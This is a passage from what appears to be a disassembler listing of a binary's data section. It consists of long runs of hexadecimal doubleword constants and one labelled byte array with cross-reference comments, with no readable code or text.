73EC26A6h, 1CE56C41h, 0DCF45480h, 2CF787DDh dd 4FB2659Eh, 8818F6CCh, 0FD00D462h, 0D93CDECEh, 759FF32h dd 3D07B550h, 0B4F26179h, 0B6F05068h, 0D900F30Eh, 0D4B80FEEh dd 7343EBAh, 55C2DA05h, 7C440009h, 1600D0B9h, 794E5DCFh dd 0C07A700Ch, 0CC145466h, 0C50BDD72h, 1398E5Eh, 0A4D828C0h dd 0A946AB00h, 9EB20C09h, 8E78335h, 6E9AB868h, 52EA37h dd 0BB36623h, 95744ADEh, 0B9E8DC60h, 9BB862h, 2CC71270h dd 31733DAAh, 8872A505h, 0CC920A8Bh, 288A406Fh, 45EF0016h dd 0FE034F8h, 10002048h, 7E066E7Fh, 26252682h, 0E905C98h dd 3A48A146h, 243CDD00h, 0F8E78FC0h, 49400F8h, 0CF55259Bh dd 9638FF81h, 0C9F33E9Ah, 22B1C034h, 7C2F76h, 1D60EC36h dd 0DE41EF73h, 542DF812h, 0F491C40h, 0BA557h, 8F2ED55h dd 3E9666A0h, 0D8686B28h, 0F4FE6E00h, 88A10DDCh, 0F7FC1Eh dd 0C2E7742Ah, 0D76A8F6Bh, 4F458h, 9062EC69h, 3D15C85Ch dd 4705B122h, 23686D1h, 0BD88A698h, 6374F4C0h, 2C50587Eh dd 1E0A5E4h, 0C754E3EAh, 0CC3959F8h, 337D841Ch, 28880AF1h dd 6CE900C7h, 0C6E7B04Eh, 0E4989E38h, 4F36C901h, 6DEC4B6Ah dd 813AA040h, 0F1450107h, 0E3AC32CFh, 0E5EA305Dh, 0AEFCB301h dd 0A81B673Dh, 85020C2Ch, 251AC7C8h, 0C9ECCB60h, 313E1700h dd 0BF52B18Ah, 816513E6h, 9D72C035h, 6B2412A5h, 1F00A537h dd 3B5B16B7h, 64110075h, 5738962Eh, 52007C05h, 0EE4B900Bh dd 55C1C9Bh, 0E2DE8EF9h, 0DD1C80F5h, 88006E56h, 9F79A394h dd 1D5EDA21h, 401284D0h, 3C17B7DFh, 50E4C78h, 0AADE55Bh dd 6D00A4CDh, 0E6E0EB26h, 0F0DB00D6h, 3FCF49CCh, 3B7536EEh dd 0C310EAC0h, 95595A3h, 842BEDF3h, 331C0980h, 4C003120h dd 0BB9D2364h, 197D4C6h, 0F2997B5Ch, 74028DCAh, 4F00C4F8h dd 0E33B1AE8h, 7722C8h, 0F970BF7Bh, 0D24DEF6Ah, 75648E1Dh dd 8432397h, 986F85F4h, 926313CCh, 4CDF4C30h, 3599F283h dd 0FF443BE8h, 5E767500h, 0F377917Fh, 0D72B007Eh, 37B9EADh dd 0B803CEBBh, 6B9314E6h, 0C0D1C2D0h, 588DA0h, 7D349B07h dd 5521592Bh, 0F2E38B00h, 60489CC2h, 0AC20ED4Ah, 0BD6300E5h dd 9922B96Bh, 9F006994h, 0FD8E7B04h, 9F042DCh, 0E63ECE40h dd 3688BC00h, 1E0EC09Ch, 0E47A66A7h, 74C0D5FCh, 19193AAAh dd 0D01F03BAh, 4F602461h, 36AEA800h, 0D4BEAF0Ch, 0A73100B3h dd 415AECE5h, 0E601F501h, 11CBE9D1h, 0EC4066D6h, 0A1B6F2h dd 23979E2h, 70A6A05Ah, 0F9AF9850h, 4600D377h, 8BCB489Ah dd 1F5AC48Ah, 80313726h, 81123FADh, 0BB4CD9F1h, 0CE8E00FCh dd 23A5E046h, 112F247Ch, 0AE7F9DB0h, 1302865Ch, 3B05785Bh dd 98E138B2h, 0A40B9B84h, 0E0400E03h, 0A04C9D3Ch, 0ECC0C1Eh dd 4821685Bh, 2074105h, 1C9072B0h, 2CFA97AEh, 0AC3C5ACEh dd 84C40024h, 0ABF6BE25h, 28E428FBh, 211390FFh, 0BD002FB8h dd 34F1029Ch, 9DC0053h, 16252EE4h, 4A006480h, 0EC50413Eh dd 482BF3DBh, 809C0870h, 7183D38Ah, 5100D0C4h, 0BB2C906Fh dd 7CEA23h, 2D9D27D6h, 8FEE4A9Ch, 0E43EF926h, 66AD8600h dd 5B01E3h, 23FC76A9h, 3D1D0652h, 31930816h, 19ABBB03h dd 98A8CB39h, 7D0BC2Dh, 0F9732C9Fh, 7AAC729Eh, 6D3A8140h dd 8C4B403h, 815D1EE1h, 69F8402Ah, 8D260135h, 6559C323h dd 7D903071h, 0EFC96305h, 0B80055CAh, 0A96FBAE6h, 92B000E3h dd 32DBBC37h, 4F0041F8h, 1624B583h, 1BAA3633h, 0FE5D1861h dd 0ABA6D080h, 1D438507h, 0BF00579Bh, 0CE4F48h, 81751AB5h dd 5AAC152Eh, 0ED7C83FCh, 7800B092h, 86D57FB8h, 16458409h dd 1E362A5Bh, 0FC20A57Ch, 75205D91h, 0EA78CC16h, 0DC27B800h dd 0D3CDF1h, 10FC6DE8h, 554216C9h, 0F5ADE30Fh, 0F7AECFh dd 744CB839h, 0EEC301C5h, 8B9E3C06h, 97F88073h, 3A35D0DBh dd 2F671763h, 873C0751h, 7FEFA785h, 42970680h, 9E703FECh dd 9C15B704h, 0B400D58Dh, 0FDF705ACh, 0B9F43A1Dh, 0ED6A0079h dd 0C76D4CEEh, 33F50061h, 0C98530ECh, 761FA646h, 0F8E4ABBDh dd 48C14B03h, 0CF9C9843h, 26D504C7h, 92A23A6Ch, 0D444E144h dd 674654Ch, 0A82B6720h, 2F591EB8h, 1385F9EDh, 0A0450F0Ah dd 0A20E86CCh, 3C7B1DFFh, 939A2200h, 1736C066h, 0DF8598h dd 0D63D5FC8h, 2900C5ACh, 0C010BF2Bh, 58BA4h, 0BD429B97h dd 55EC51D2h, 5C00A490h, 208D5695h, 1FCB0815h, 0BCAA2861h dd 0A4235900h, 0ED50E721h, 389FF801h, 29581C1Eh, 914BDCh dd 0BBBC8E47h, 843D5BEEh, 0A05C6398h, 0A8DD0CB0h, 0AF438A1h dd 0C43F5AA3h, 0C39F80C4h, 0E16920BAh, 0A18F900Eh, 0B30DE030h dd 5D55D6h, 0D31F17FEh, 0C0F3753Dh, 0D463DB00h, 0CAD60CBBh dd 843E0004h, 9691F80Fh, 0F93B1D55h, 2D4C0764h, 7D812A5Fh dd 0BFDD1F99h, 8EDEB468h, 0C20259Eh, 9CCD64C9h, 16671000h dd 586E12Ch, 3C4500E4h dd 28664272h, 0E7F02BEFh, 7AA8490Bh, 6840123Dh, 41ACAFCh dd 68BE2FCCh, 121C80F0h, 2E092C20h, 1079159Bh, 2B9944h dd 0F2CE4B35h, 7644DCE1h, 0EB32E912h, 4E26F800h, 2B8D8Bh dd 0D95BE0B8h, 0E1E7CB06h, 24D42F00h, 773D68B1h, 1A40087h dd 0B3BE149Ah, 0E75CA80Ah, 10150F48h, 161C20C7h, 0BB2D22h dd 430F9395h, 243057A9h, 34122A0Bh, 6D480F9h, 1C5C4D6Ah dd 0C1909511h, 21F21D91h, 0F4C0CE1Fh, 6D73F3DCh, 937E8314h dd 0A72E00EDh, 4C8644D0h, 3F68904Ah, 38AD7C73h, 0A078E487h dd 0E37173Dh, 0DE00F17Ah, 0DB04DC8Ch, 64D3FAh, 72B635F3h dd 0B3C6C38Eh, 0E5C01901h, 0F2318966h, 1412F0h, 42D10D8Ah dd 0E4AB45D9h, 94887450h, 0D5803C03h, 98BA9Bh, 0A7D340C0h dd 0F7254920h, 70AF6100h, 10F81AAh, 0D9F222h, 0D82C9A97h dd 44B2BE8Dh, 0B0E6B914h, 1F8E1294h, 0D2A35E03h, 0C6F00230h dd 0F109FE45h, 0FA678040h, 0FF00ACB9h, 0A27B2E2Bh, 0FCCB0092h dd 0AD187ADBh, 253FB6DFh, 344CF22Dh, 0F8DC00AFh, 81EAA2BAh dd 4DFEEDh, 1DAED1FCh, 0DF034565h, 37DA0901h, 0D4A3F6FDh dd 3EA4CEE4h, 8E00EB4Eh, 0A0AA5E7Ah, 1D177BC7h, 9407B00Bh dd 1210D6D5h, 38F22BB2h, 0EA3F0CBAh, 2518B900h, 0B840FCA3h dd 2D1041Ch, 7F0F0378h, 0A8E0226Ah, 0E340D47h, 0FA3FF91Ch dd 0AB96E6C0h, 0B5016B69h, 0C9C87060h, 7AFEE365h, 5034EE0h dd 93DFB4A0h, 7FA3B3CCh, 6412F0F8h, 3108E400h, 4DFDB5Ch dd 69C200F4h, 4880DAEFh, 6C001DFAh, 284EDE0Dh, 7844B65h dd 56358B59h, 555C2282h, 0BDD93560h, 61CEFC30h, 78B1E45Fh dd 6E7F0E43h, 3F8E1E53h, 6D912D81h, 0BCC2CA7h, 2040E54Bh dd 0DDE9DE1Ch, 0B9D93A76h, 0CA78AA07h, 18C4C6A1h, 36D74F0Eh dd 945E856Eh, 8F183A80h, 408E0A20h, 1E3C979Ch, 4A8688C9h dd 68FCB13Bh, 17F0B118h, 0ED47DA1h, 51DDD9C7h, 9A21F01Eh dd 3CB86ED7h, 1FCD631Bh, 0A0DCDB91h, 1D8F405Bh, 0D50E3D5h dd 2B385FD4h, 904AAC80h, 87D21h, 8D8E54EAh, 3F38A779h dd 0DFF838h, 7C64639Ch, 0CBCD06h, 0F3D39920h, 4A5FA21h dd 0A6A41303h, 0A89C837Eh, 6E92E5Fh, 29AD8517h, 4DF8E890h dd 0F113E401h, 0C993A3A4h, 17C46B30h, 77C246h, 4BD2F230h dd 0A8ABA6B3h, 65DF7AD0h, 800E5328h, 76092166h, 42E60021h dd 72049DDFh, 273E204Ah, 0A7050149h, 1D2E0343h, 4770598Bh dd 0D2E45C01h, 0F030494Ah, 531018DFh, 0E1B02076h, 4900DF4Fh dd 7ED9374Eh, 0E6DCDE6h, 5D4D83ADh, 47DC0E85h, 5279D2D4h dd 0B8902ADBh, 617B637Bh, 0A949D901h, 0AFF09CCEh, 2180F3D1h dd 0A461185Ch, 8A0492CFh, 4F2BBCB7h, 0C526888h, 0F722A2Eh dd 13003C11h, 66862817h, 9CBE3Fh, 364ED9E6h, 0A450ABC9h dd 0C12F551Dh, 0AA1EC5C1h, 0F2FC4514h, 88F3501Dh, 3D1C14B8h dd 7201306Eh, 0C9D56636h, 51FDC490h, 338F803Ah, 0A81C2135h dd 7E6BE866h, 936C000Fh, 10E3C8EBh, 0B22836C2h, 0BB0084FDh dd 0B2B897Dh, 3E2F24DCh, 0E4540719h, 60DEFC16h, 924F1008h dd 2200A1E7h, 516F3A73h, 46F386h, 0A894C038h, 8EDE990h dd 3C57930Fh, 0DDEE4003h, 2C55011Ah, 795425Ch, 90342B8Ah dd 0CBC59633h, 0F8917C00h, 2F7BB768h, 6AD30011h, 5C26CDC9h dd 0E6183D30h, 2166ACA5h, 0B90000Fh, 8682BBF9h, 4800C961h dd 0BFBDDE7Eh, 0D75F94h, 0ABD58CC5h, 633C5293h, 0DE58302Ch dd 4DFC3700h, 0F8CC49Fh, 0C25FD735h, 40D3BB47h, 0B8108E90h dd 6ACFA801h, 0B658F314h, 3507620h, 48AA4962h, 0A9A7E697h dd 0A2FFF100h, 2B303346h, 0CB88704Bh, 0A6F5002Eh, 0E08E5F1Dh dd 8003C8E7h, 136EECCAh, 2C1600C7h, 897AE2EEh, 97184904h dd 6B10BA9h, 3E640020h, 79FF6785h, 0A7029F01h, 376BC011h dd 634DE0CEh, 0F2BB0738h, 1054DED6h, 555E01A1h, 0A82FC100h dd 0AA646FC7h, 0A391007Bh, 41A165E4h, 91881B4h, 11695D94h dd 1FDF004Eh, 0B69CA70Ch, 67008FA0h, 0AD05EF01h, 1B0249ABh dd 3037FA8Ah, 42F83DE0h, 702A36F0h, 0B3009CC1h, 0EFFB2125h dd 44E607h, 0B9DB2EA5h, 60E3F2BEh, 632CD700h, 4AC6307Bh dd 0DE9F00E6h, 66F0CF94h, 0ED00EF54h, 0FA3743E4h, 7E6B4701h dd 7BBB068h, 0A62EE2B7h, 0E5C14362h, 0F34580FCh, 83078B54h dd 84A3ECEFh, 421AD46h, 0C624E9ACh, 813E8729h, 0E0E0F561h dd 2700F7D5h, 9808635h, 0C17440h, 8CE9897Eh, 71CABC60h dd 0E8A88800h, 6A01E7DEh, 0EE260066h, 74BF7061h, 60DEC829h dd 80000213h, 122FA15Ah, 0AE79335Dh, 71002E08h, 0F1A493A7h dd 30B8DFC2h, 0B6C8B42Ch, 4A7731A9h, 6F23D91Ch, 6118663Dh dd 0B38709B9h, 33804243h, 0EBD3C473h, 6062E301h, 6B23995Eh dd 609753F0h, 614F1806h, 0EA6029D4h, 27A30541h, 0D633B2Fh dd 9D6AE507h, 2138461Eh, 27FB2B1Ch, 184BA480h, 520446BFh dd 0D03CB0EDh, 594000FDh, 6427CAE5h, 0E000EE63h, 8FBE20ACh dd 0B2F1FCh, 0CE77E1AFh, 0DAF80FDDh, 0A92B231Fh, 195787F9h dd 40DE84E8h, 26B3E49Ah, 6CEC0006h, 0CE390C32h, 30C0D5F7h dd 94917170h, 3797F20h, 0F95577E2h, 5050B578h, 8106D4CBh dd 567BBE85h, 72F630h, 2274CA8Fh, 879E2F8Ah, 4B0068FEh dd 0A14FA61h, 0A06BA3h, 1AECAADBh, 22F57F41h, 7BA4CC03h dd 0C0EFE194h, 108384F6h, 4AFBC1h, 1C611F42h, 0FEECB52Bh dd 0A01E0314h, 8228D55h, 7FDA7800h, 8C83EE7Ch, 37E30059h dd 3AA064CBh, 0A004AA6h, 9113AFFAh, 1929E35h, 0CE3E2B0Ch dd 8039F9F1h, 0BBF83240h, 30EBB2E8h, 0A3E07129h, 0AC009952h dd 38DBD4DEh, 0B53B91h, 31BBF686h, 4CE605B4h, 1E74E000h dd 3FC53C27h, 6CD2071Ch, 99B0B8F4h, 99A2E280h, 861E5B97h dd 0E2400EC5h, 224230FFh, 6D200F4h, 0A2B5B84Eh, 687EE7FBh dd 86CE711Dh, 75E1A141h, 66E07B14h, 0B1E80061h, 60E26E2Bh dd 6F001F54h, 0F806CFF5h, 50F233B6h, 0EE9C65h, 2510F063h dd 561F8579h, 0D0EBEA00h, 477B6FACh, 0CBF60006h, 0C0C8CE2Ch dd 0E7000133h, 18205CDDh, 9FCFAD5h, 0BF9CB971h, 0EEF1E100h dd 53011709h, 22558A1Fh, 8BE0C298h, 0FFF904A6h, 87EE721Ah dd 0CD14D095h, 49005DBBh, 3F9982C6h, 107773Ah, 0BC0F8D6h dd 0CC742F35h, 900042F1h, 831ECB19h, 0C4335A99h, 4FC11C29h dd 521110Dh, 76CFE404h, 44346004h, 0C14E3966h, 100C2131h dd 0CEA18404h, 46196D44h, 22794041h, 0DAEE0348h, 14410989h dd 5190D088h, 0C018966Ch, 88E8B529h, 0F540DE14h, 7100F530h dd 0DD003AF6h, 24B0F03Eh, 7EAF0861h, 5507193h, 427E0F84h dd 8E71810Eh, 5139C4C4h, 2F4CAEB0h, 0A33B09BFh, 7DE401E6h dd 4603770h, 0EE265h, 9B450B5Ch, 0CBF35241h, 2415AC0Fh dd 0E187E05Dh, 0BE7147h, 29D76B1Fh, 0F4E7C0B0h, 0F0A6D601h dd 746D1122h, 5D93C0DBh, 0C5920042h, 430FEEB2h, 3A2CB93Ch dd 2E009812h, 0D3A64640h, 267E03A1h, 0DCAD7A68h, 0C8B1FED0h dd 4F000C79h, 0CDCE1834h, 754E2C8Ah, 0B8AA0009h, 4AE3FCF7h dd 3500018Dh, 77106DC6h, 7CF1599h, 0BB8C623Dh, 0D2F0206Fh dd 3C1C449Ah, 89005E95h, 0B5964501h, 8C330087h, 78D6EE7h dd 47E38A4h, 210077FEh, 0E9F4B40Eh, 66FC86h, 0A9B8038Bh dd 0A07F80E1h, 0EED00100h, 0ECF1BD1Dh, 256C01B0h, 17868E71h dd 408BFD83h, 95FA6A9Ch dd 2B158A02h, 0A074E3B1h, 293E148Ch, 0D33102A1h, 0BFDD95DAh dd 0AF88A3C3h, 0C6008982h, 0A4A17C28h, 3DAE00Ch, 655411C4h dd 0FFE852FCh, 0C8004518h, 3789987Fh, 349CF0Dh, 5DB50ABCh dd 438BB20Eh, 110B2CC0h, 82C2F300h, 0A73B08AAh, 24D5000Ch dd 0C0333EB3h, 8E03BED4h, 0C3CFEB71h, 207817h, 0FAB3143Dh dd 5A0ABACh, 0EF3B321Ch, 0D9EA9B80h, 3A373C4Ch, 6B002ED0h dd 4987514Fh, 0E3000E46h, 44015E07h, 6FA934h, 0AD253913h dd 17D66415h, 0C58CAA00h, 0B884A6D5h, 7FFA26F8h, 1CBD0018h dd 0A944986Eh, 6CC8680Eh, 77B480FBh, 0FAE44Fh, 80279F0h dd 0BB8E37A5h, 0C7276400h, 0BE0182CBh, 34DA4CFAh, 9EE1B207h dd 0ED42703Dh, 2E75E88Ch, 19418907h, 30C16D0Eh, 52DCC18Fh dd 0ECB2001Ch, 3CACF0BCh, 0AB0A7CEh, 9E4E7100h, 46707273h dd 0ADEA1CB1h, 8CBF40CCh, 43308024h, 74DED0Eh, 0AAE805CDh dd 0F231D000h, 136C2C8h, 0E6617632h, 207EDB1Eh, 4901FC74h dd 39F351FEh, 86F458A8h, 479300C8h, 0ED7204A6h, 617B859Eh dd 6DD06602h, 8002E6DDh, 6B7487A0h, 0BC4200DFh, 0C96C6ECCh dd 290050DBh, 0D1371788h, 2C8F609h, 0C27592E4h, 3C4016D4h dd 29809D07h, 152500BEh, 0C52718BBh, 17777730h, 0A22A6800h dd 0E4492987h, 0ED540725h, 7052DB7Ch, 0E3BDCFD0h, 0A019D404h dd 880E526h, 54E7F6h, 34010623h, 0A21B4799h, 6F9EFE00h dd 37492AC3h, 650F1858h, 43311CDh, 5F1F4300h, 5B4E747Ah dd 4D18C0A0h, 54BA6879h, 0FB0076EEh, 0E308652Eh, 1D0A5F10h dd 4E8F1ECCh, 8ECF6C12h, 2F003D69h, 16460937h, 87B31901h dd 79B72C42h, 3E56D8h, 0F5371428h, 9B908444h, 947F033Ch dd 3D8611A8h, 0E0212785h, 8435FFh, 912AD6C4h, 0E81E7C6Dh dd 89C3AE00h, 0FE9C5976h, 16850088h, 0A352F16Ah, 0EDFC3FFFh dd 61143Bh, 0AA561A48h, 2734C12h, 2ABB3C9Fh, 9463B357h dd 9B4EC000h, 4B5FD32h, 22A80028h, 46CFD7B7h, 0EB00613Eh dd 0BD746F19h, 19907E1Ah, 20B46AB0h, 7205F89Eh, 7985BB00h dd 691F07A2h, 75B70DF0h, 2039B98Eh, 95A0E554h, 28009B4Fh dd 3EA058C1h, 14A8625h, 5DA215AEh, 206A1EBFh, 1A0041A8h dd 0CCE5EF70h, 0E435404Eh, 0A2DB0020h, 0E323EB81h, 4F012CB3h dd 0E9EF0775h, 22F48374h, 0E24D0042h, 9799411h, 0D2098F0Ah dd 0FE064Ah, 98EC7D6Ch, 57C2004Ch, 0A85DD7FCh, 20E5DE3Fh dd 2900CB71h, 560B71D6h, 0AF0B55Ah, 8BC1C66Ah, 508200FAh dd 1095A497h, 1A65B203h, 0ADDEC348h, 5F25E480h, 39460151h dd 173699E8h, 0EE66C89Dh, 0BD03C2F2h, 0FEE62FB3h, 0A313E05Eh dd 0F8D301E2h, 17D22DC3h, 0B6649FE5h, 84B15800h, 0FD30912h dd 33413E7h, 0DA821540h, 680076C3h, 33DBB2F0h, 2EEE2C2h dd 7C4652E5h, 72605669h, 2558DD0Ch, 3C57017Fh, 16D28048h dd 13530C4h, 2A98EDDAh, 709B2F19h, 0EB00B083h, 0A848907Fh dd 1D32E784h, 8E4ED5C4h, 77C057E1h, 547D11CFh, 4921B307h dd 0C7808C3Ah, 0ACCAC55h, 33DEFA7Fh, 0AF2C0180h, 815A6CC5h dd 1DF02A7Ah, 58D98AB9h, 1C24D0F0h, 53AC7D10h, 0DB2C00F7h dd 8D75989Dh, 1FED40Eh, 0C00B521Ah, 24540061h, 5ECE04h dd 0CA8ACB6Ah, 60DC04Ah, 7745691Fh, 80FA1A1Fh, 41281453h dd 134D3070h, 1F8299h, 4F750DE4h, 33131EF3h, 29009B11h dd 0D5F5432Dh, 0CFBC00B6h, 0D7D10C82h, 10079D2h, 35054BBBh dd 0F5DF250h, 0E510AD2Ch, 1A445200h, 6A0094A5h, 0BCED2DD3h dd 3D7FE096h, 9A839C3Bh, 58F9DB13h, 65FAA8D0h, 9E58B5h dd 0C48363D1h, 2B8C343Ch, 1F023970h, 1509C787h, 8190C0AAh db 35h byte_520045 db 1, 0CBh, 86h ; DATA XREF: ___:00437DC8o ; ___:00437DE0o dd 4A76E9B9h, 1A7EFCB0h, 5D9CA71Eh, 7B0D8140h, 95101h dd 441132FFh, 14D1C62Ch, 0B6701900h, 0D8E4BBFh, 0AE0E0B71h dd 7400FA80h, 514A356Ah, 939C6C05h, 5080E5C6h, 1CA9448h dd 28457022h, 7039BE3Bh, 1DE6E938h, 1EFD863Eh, 16DE80A6h dd 24184C89h, 0D480D9CCh, 161A6805h, 1F3CFBh, 0EF44C774h dd 0BE16F743h, 3043B33Fh, 0C053AFA9h, 5012303h, 0EC90C28h dd 0A218D06Fh, 140049EDh, 0EBB59225h, 5E366E5h, 0FA4EC9Fh dd 0CC24C995h, 3F008694h, 0C7E03529h, 8CA590h, 44430D7Dh dd 0F29C56B8h, 91AAFE00h, 0B2A1A095h, 4A8F0038h, 77736A10h dd 0AE009FD8h, 3F8439CFh, 3A0C259Eh, 1818EA6h, 0C21BAF5Ch dd 0DCA8315Ah, 9000EE2h, 0D55408F5h, 0A3BFDDAh, 0F4E93DF8h dd 4EDD04D0h, 9B7C8037h, 6000201h, 0F1BAB40Ch, 17767C0h dd 0AB5E6A27h, 60E51433h, 0A898FC28h, 0BDB74800h, 7713BB54h dd 325A001Bh, 0D67FE2E5h, 0BA1690F9h, 2300AD19h, 9AAE82D9h dd 0A44600C6h, 69502897h, 97DD0DCh, 0E4585C0Eh, 0A780E067h dd 0F92A42h, 3D6F29DDh, 0C008066Eh, 22A14D00h, 0CA27BB4Bh dd 471400F3h, 464504E3h, 6206CFD6h, 3256CBBFh, 1B1C58C8h dd 99431D03h, 19A9CA2Ch, 0BE366033h, 0E494F700h, 0AA291293h dd 3380CEDh, 0AD161E77h, 1A87C300h, 2AE29BB4h, 36CB875h dd 5D908938h, 0F800AA21h, 30536713h, 4CA4E3AEh, 0D6076091h dd 0F2949504h, 0E080FA92h, 5758A09h, 0CF36D400h, 0D827FBEFh dd 0ECC000AAh, 477F3043h, 2C985B72h, 0F17C2105h, 30906D04h dd 0E8B8CBh, 0FC47FAF3h, 0AA3FD7F0h, 0A1BA2100h, 3A461A64h dd 11E7761h, 0FF453595h, 20748283h, 0DEA146Ah, 84993839h dd 0DE86D734h, 0A300ACC9h, 0EEF78E24h, 0C0AC3830h, 330BF500h dd 0B4C1D57Dh, 0CF107898h, 91053564h, 0C1DD0F39h, 0C4EED0A0h dd 84004922h, 0FB01E8F0h, 5CAB9F88h, 0F401B518h, 0D64A92E0h dd 0F6945077h, 0CE24E576h, 0F2072544h, 66D07FDEh, 7DCD0Ah dd 4F732BA9h, 2763AC4Eh, 87C3800h, 0D252B813h, 955B00CCh dd 3C018789h, 97249F0Fh, 0B4006831h, 0F440E6FBh, 140B8DDh dd 0E3D355AAh, 0D86C882Fh, 260BBF52h, 1041E15Ah, 1E043D48h dd 80188012h, 0BAE29A7Eh, 5C98CE24h, 633E214Ch, 0E22FC0B0h dd 85A9Ch, 1AC26259h, 9FABCA25h, 3B8F813Eh, 9003A887h dd 9CDC0600h, 11DC45Fh, 94955040h, 23FA4845h, 0EED78409h dd 534F3000h, 2004BDB6h, 26D84D8Ah, 6F558081h, 90856070h dd 0FEF50F20h, 801FBFEDh, 0C56CE77Bh, 350011F9h, 0B233A17Ah dd 14E98E2h, 7F83CCDEh, 0D86D60B7h, 7100F242h, 52849C37h dd 9146A2h, 69C2453Ah, 0B97976A9h, 0B007EE33h, 88FFB30Dh dd 5009BBh, 523263ADh, 0CFE937F8h, 0D008BE2h, 965CF025h dd 9AB364h, 0A663E198h, 1193D76Bh, 4387BB00h, 21008C0h dd 1C7328D5h, 9B5C00CBh, 9E1A5649h, 0EC0094B3h, 5477D46Ah dd 9091B2BCh, 0F63F498h, 788B98F1h, 0D1660800h, 1702C9CFh dd 65C3810Eh, 15FC806Eh, 3D0872E6h, 910E7F11h, 0CB2B1788h dd 90044804h, 64B15D4Ch, 3B089848h, 0C0492679h, 6307AC84h dd 70BF90C0h, 1382E2E5h, 20A0F39Fh, 49ACB26Ch, 6058B71Dh dd 0EB54D205h, 9833A800h, 0E4A271h, 0FB3F6B72h, 20FC5CF4h dd 0F100FA7Ah, 0EA97EBEh, 400DAAACh, 0B10BE53Ah, 20CD4687h dd 0E64AE720h, 21530F3Eh, 0E5407E17h, 0BE34498Ch, 3307B570h dd 831DB090h, 0AE0C3F10h, 7C950F93h, 6E608067h, 2A121BC4h dd 0AD940103h, 0D074E826h, 1866DCE7h, 8069CDE5h, 0B3012111h dd 3D56AE92h, 1E7041BDh, 51C4003Ah, 2F7E78C2h, 77380175h dd 11E848E1h, 0AD0A04EBh, 649C20B1h, 2A1405Eh, 1D6C6418h dd 0C0EC5466h, 0F5A4861Ch, 712EDE41h, 0E8018CB7h, 73D9A1A9h dd 0F2896C24h, 0F667BB0h, 0DFD34670h, 8493FE22h, 0D060C280h dd 1A305FE3h, 4117F828h, 67EE00E8h, 656968Eh, 0DA00C2A2h dd 13F298B6h, 0B8D7119h, 33376834h, 91CCFA00h, 0DC9835C8h dd 0EEA81E5Bh, 2A84AD00h, 0F03A9D3Eh, 986B0D0Fh, 0C452C044h dd 0E2CB2E91h, 0A1EF00D1h, 97FC6CC9h, 501E86E8h, 7C0DB2Bh dd 6EACF4F3h, 0CE5A307Fh, 0CD0B51B8h, 0E83C024Ah, 4DA21C98h dd 1A0DC005h, 2D2B8D95h, 50379024h, 0E5CD0800h, 92BB8E93h dd 0E0B82AF0h, 779A42BCh, 41DCBA11h, 80D84C24h, 4DE8CDB6h dd 50013A1Bh, 82BA9343h, 0A331C1ACh, 7ED5C9E5h, 27C420h dd 0D9D02513h, 6999B841h, 0B9AF4700h, 8A50367Fh, 653A1279h dd 0F2250604h, 0C65E68CEh, 0A801B01Ch, 34632FE5h, 4FAC2820h dd 517047E8h, 7E16B00Eh, 9300F805h, 0CB47EE98h, 0FB8A5h dd 0F93AB75Dh, 3570C53Fh, 0ACA80806h, 449EFEBh, 8E32BE4Eh dd 801094FFh, 0D61BF0A2h, 0A23B7000h, 0D12B4B06h, 0B37D0337h dd 0B21C9C33h, 0FBF616C8h, 0EF9EB600h, 3F446D1Fh, 76823B92h dd 0EA1D2E00h, 6A5D8E9Ah, 0E6DA7B00h, 0EBDF8B19h, 2D6600F9h dd 9018CD5h, 5F01EC99h, 323AEDD0h, 0EA804929h, 5CBF2B90h dd 3C045233h, 0AF7AC7F5h, 0C88E8680h, 0D140145Bh, 0B0059046h dd 80E492B2h, 7939688Bh, 89A09650h, 408330Bh, 0DFD8406Ch dd 0AB472E88h, 65C900D1h, 0CBE4C8D8h, 7E3B0800h, 28FC27D6h dd 1D14147Fh, 0D40382F8h, 6A2FABC3h, 6169EB88h, 1554527h dd 0F9BD9F24h, 0DFD0A7DBh, 2434FDh, 4CDC15DAh, 18C18D0Eh dd 602CA201h, 3CB4D8EAh, 7D543FFCh, 0E06B1E44h, 0F0E99547h dd 7710B900h, 0D59B0326h, 0E5FC2200h, 0AB3007F9h, 1448009Dh dd 2BA3255Dh, 0D40093B3h, 15D03CA6h, 1E365499h, 0CB9A07h dd 4649BF63h, 0FCA0101Fh, 0CE35083Eh, 690191DAh, 4BC8D005h dd 0BBBAB07Fh, 79672100h, 0CE9F7475h, 2A3E88Eh, 45103A62h dd 0D840418Ah, 0B4B9C3B6h, 5F6B0907h, 0F30A6341h, 75E89D4h dd 0DE59C346h, 0C101003Dh, 0C7FC08ABh, 0D2911007h, 0DD50A7EAh dd 0E4FF8Ah, 83E7B1CCh, 0D4B4E526h, 0F2BCA06h, 73B8BA7Eh dd 20D7A4Eh, 295C7467h, 0EC829219h, 0C867A24h, 18C08088h dd 0BDD1DC17h, 3E2800D9h, 68E0D782h, 757425C0h, 86884900h dd 24794598h, 2FB40916h, 570E5769h, 900137EBh, 0D9D43BFFh dd 6F807B59h, 235505h, 5FD76C9Ah, 3A4A0893h, 0A5184700h dd 0A78E90CFh, 3FD930B6h, 0AE052C10h, 94BA5C00h, 787AF5D5h dd 4820085h, 0CC37BF97h, 9B758866h, 0F448FB00h, 0D2D581BEh dd 22951C73h, 0C5D100E6h, 9ACD9416h, 0E5272601h, 0C6894106h dd 1D7FC4h, 0F1344BBFh, 802CD80Fh, 80D06239h, 0BAD619A5h dd 0A08F7492h, 2657C0h, 84AA5C87h, 0D796E3F1h, 41422C92h dd 0D25E16h, 6C4AFAFCh, 0DA00F743h, 6EB11D82h, 0C39F4Fh dd 8C2C1280h, 0A13F3488h, 8F038B00h, 5B57ECFCh, 890500DFh dd 5275D265h, 7E1895BAh, 62694A1Ah, 12DA0982h, 48AC1E15h dd 0EE0FCF10h, 0B77EE181h, 7841800h, 0BC940B8h, 65D43787h dd 2D4AB4A0h, 0CEB801E1h, 16DB3301h, 0D48A18FFh, 0C107B86Ch dd 0D59A0CA3h, 330481A5h, 0E4E0C454h, 934BDC00h, 0A1787466h dd 0BD7B00C7h, 0DB1809C0h, 48000111h, 0E41E0CA7h, 70E29C4h dd 6B993D27h, 7A76E02Fh, 0CCEE6EB8h, 0DF81A11Fh, 0E600056Eh dd 7DA7B1FBh, 0BDED0066h, 0ACD85F1Ah, 60073E9Fh, 4FDE8510h dd 124ACA90h, 76700084h, 0BA7252F1h, 990183CBh, 74C5AA01h dd 90404761h, 2A21560h dd 0F8380AAEh, 0C860589Ch, 1871062Bh, 81CE7B3Eh, 0DEB38BCAh dd 0E7CCF697h, 0C78D0BD9h, 3007347Eh, 20607907h, 0B9132FB8h dd 501F59F9h, 9DCC1340h, 54E9C832h, 0B816A818h, 0AB7A015Ah dd 